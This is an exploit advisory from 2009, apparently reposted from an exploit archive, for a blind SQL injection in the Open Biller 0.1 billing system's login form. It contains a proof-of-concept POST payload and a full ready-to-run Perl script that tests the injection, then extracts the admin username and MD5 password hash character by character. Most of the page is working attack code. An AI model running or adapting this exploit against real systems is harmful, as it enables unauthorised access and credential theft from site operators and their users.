Open Biller 0.1 - BLIND SQLi

2009.06.18
Credit: YEnH4ckEr
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl # #----------------------------------------------------------------------- - #(Post Form login var 'username') BLIND SQLi exploit--Open Biller 0.1--> #----------------------------------------------------------------------- - # #CMS INFORMATION: # #-->WEB: http://sourceforge.net/projects/geekbill/ #-->DOWNLOAD: http://sourceforge.net/projects/geekbill/ #-->DEMO: N/A #-->CATEGORY: CMS / Portal #-->DESCRIPTION: Open Biller aims to to be a the best open source billing # system on the planet.The system is written in PHP/MYSQL... #-->RELEASED: 2009-05-31 # #CMS VULNERABILITY: # #-->TESTED ON: firefox 3 #-->DORK: N/A #-->CATEGORY: BLIND SQLi exploit #-->AFFECT VERSION: CURRENT #-->Discovered Bug date: 2009-06-09 #-->Reported Bug date: 2009-06-09 #-->Fixed bug date: N/A #-->Info patch: N/A #-->Author: YEnH4ckEr #-->mail: y3nh4ck3r[at]gmail[dot]com #-->WEB/BLOG: N/A #-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. #-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) # # #------------ #CONDITIONS: #------------ # #magic quotes=OFF # #--------------------------------------- #PROOF OF CONCEPT (SQL INJECTION): #--------------------------------------- # #POST http://[HOST]/[PATH]/index.php HTTP/1.1 #Host: [HOST] #User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 #Referer: http://[HOST]/[PATH]/ # #username=%27+or+1%3D0%23&pass=1111&submit=Login # #username=%27+or+1%3D0%23&pass=1111&submit=Login # # ####################################################################### ####################################################################### ##*******************************************************************## ## SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray, Evil1 ... ## ##*******************************************************************## ##-------------------------------------------------------------------## ##*******************************************************************## ## GREETZ TO: SPANISH H4ck3Rs community! ## ##*******************************************************************## ####################################################################### ####################################################################### # # use LWP::UserAgent; use HTTP::Request; #Subroutines sub lw { my $SO = $^O; my $linux = ""; if (index(lc($SO),"win")!=-1){ $linux="0"; }else{ $linux="1"; } if($linux){ system("clear"); } else{ system("cls"); system ("title Open Biller 0.1 Blind SQL Injection Exploit"); system ("color 04"); } } sub request { my $userag = LWP::UserAgent->new; $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $request = HTTP::Request -> new(POST => $_[0]); $request->referer($_[0]); $request->content_type('application/x-www-form-urlencoded'); $request->content($_[1]); my $outcode= $userag->request($request)->as_string; #print $outcode; #--> Active this line for debugger mode #print $request->as_string; #--> Active this line for debugger mode return $outcode; } sub error { print "\t------------------------------------------------------------\n"; print "\tWeb isn't vulnerable!\n\n"; print "\t--->Maybe:\n\n"; print "\t\t1.-Patched.\n"; print "\t\t2.-Bad path or host.\n"; print "\t\t5.-Magic quotes ON'.\n"; print "\t\tEXPLOIT FAILED!\n"; print "\t------------------------------------------------------------\n"; } sub testedblindsql { print "\t-----------------------------------------------------------------\n"; print "\tWEB MAYBE BE VULNERABLE!\n\n"; print "\tTested Blind SQL Injection.\n"; print "\tStarting exploit...\n"; print "\t-----------------------------------------------------------------\n\n "; } sub helper { print "\n\t[!!!] Open Biller 0.1 Blind SQL Injection Exploit\n"; print "\t[!!!] USAGE MODE: [!!!]\n"; print "\t[!!!] perl $0 [HOST] [PATH]\n"; print "\t[!!!] [HOST]: Web.\n"; print "\t[!!!] [PATH]: Home Path.\n"; print "\t[!!!] Example: perl $0 'www.example.com' 'demo'\n"; } sub brute_length{ #Username length $exit=0; $i=0; while($exit==0){ my $blindsql="username='+OR+1=1+AND+(SELECT+length(username)+FROM+users+WHE RE+ID=1)=".$i++."#&pass=1111&submit=Login"; #injected code $output=&request($_[0],$blindsql); if($output =~ (/Incorrect password, please try again./)){ $exit=1; }else{ $exit=0; } #This is the max length of username if($i>60){ &error; exit(1); } } #Save column length $length=$i-1; print "\t<<<<<--------------------------------------------------------->>>>>\n "; print "\tLength catched!\n"; print "\tLength Username --> ".$length."\n"; print "\tWait several minutes...\n"; print "\t<<<<<--------------------------------------------------------->>>>>\n \n"; return $length; } sub exploiting { #Bruteforcing values $values=""; $k=1; $z=45; while(($k<=$_[1]) && ($z<=126)){ my $blindsql="username='+OR+1=1+AND+ascii(substring((SELECT+".$_[2]."+FROM+ users+WHERE+ID=1),".$k.",1))=".$z."#&pass=1111&submit=Login"; $output=&request($_[0],$blindsql); if($output =~ (/Incorrect password, please try again./)) { $values=$values.chr($z); $k++; $z=45; } #new char $z++; } return $values; } #Main &lw; print "\t#######################################################\n\n"; print "\t#######################################################\n\n"; print "\t## Open Biller 0.1 Blind SQL Injection Exploit ##\n\n"; print "\t## Blind SQL Injection Exploit ##\n\n"; print "\t## ++Conditions: magic_quotes=OFF ##\n\n"; print "\t## Author: Y3nh4ck3r ##\n\n"; print "\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n"; print "\t## Proud to be Spanish! ##\n\n"; print "\t#######################################################\n\n"; print "\t#######################################################\n\n"; #Init variables my $host=$ARGV[0]; my $path=$ARGV[1]; $numArgs = $#ARGV + 1; if($numArgs<=1) { &helper; exit(1); } #Build uri my $finalhost="http://".$host."/".$path."/index.php"; $finalrequest = $finalhost; #Testing blind sql injection and magic_quotes (any error?) $send_post1="username=%27+or+1%3D1%23&pass=1111&submit=Login"; $output1=&request($finalrequest,$send_post1); $send_post2="username=%27+or+1%3D0%23&pass=1111&submit=Login"; $output2=&request($finalrequest,$send_post2); if ($output1 eq $output2) { #Not injectable &error; exit(1); }else{ #blind sql injection is available &testedblindsql; } #Bruteforcing length $length_user=&brute_length($finalrequest); #Bruteforcing username... $user=&exploiting($finalrequest,$length_user,'username'); #Bruteforcing password md5 hash... $pwhash=&exploiting($finalrequest,32,'password'); #final checking if((!$user) || (!$pwhash)){ &error; exit(1); } print "\n\t\t*************************************************\n"; print "\t\t********* EXPLOIT EXECUTED SUCCESSFULLY ********\n"; print "\t\t*************************************************\n\n"; print "\t\tAdmin-username: ".$user."\n"; print "\t\tAdmin-password: ".$pwhash."\n\n"; print "\n\t\t<<----------------------FINISH!-------------------->>\n\n"; print "\t\t<<---------------Thanks to: y3nh4ck3r-------------->>\n\n"; print "\t\t<<------------------------EOF---------------------->>\n\n"; exit(1); #Ok...all job done

References:

http://www.securityfocus.com/archive/1/archive/1/504231/100/0/threaded
http://www.milw0rm.com/exploits/8927


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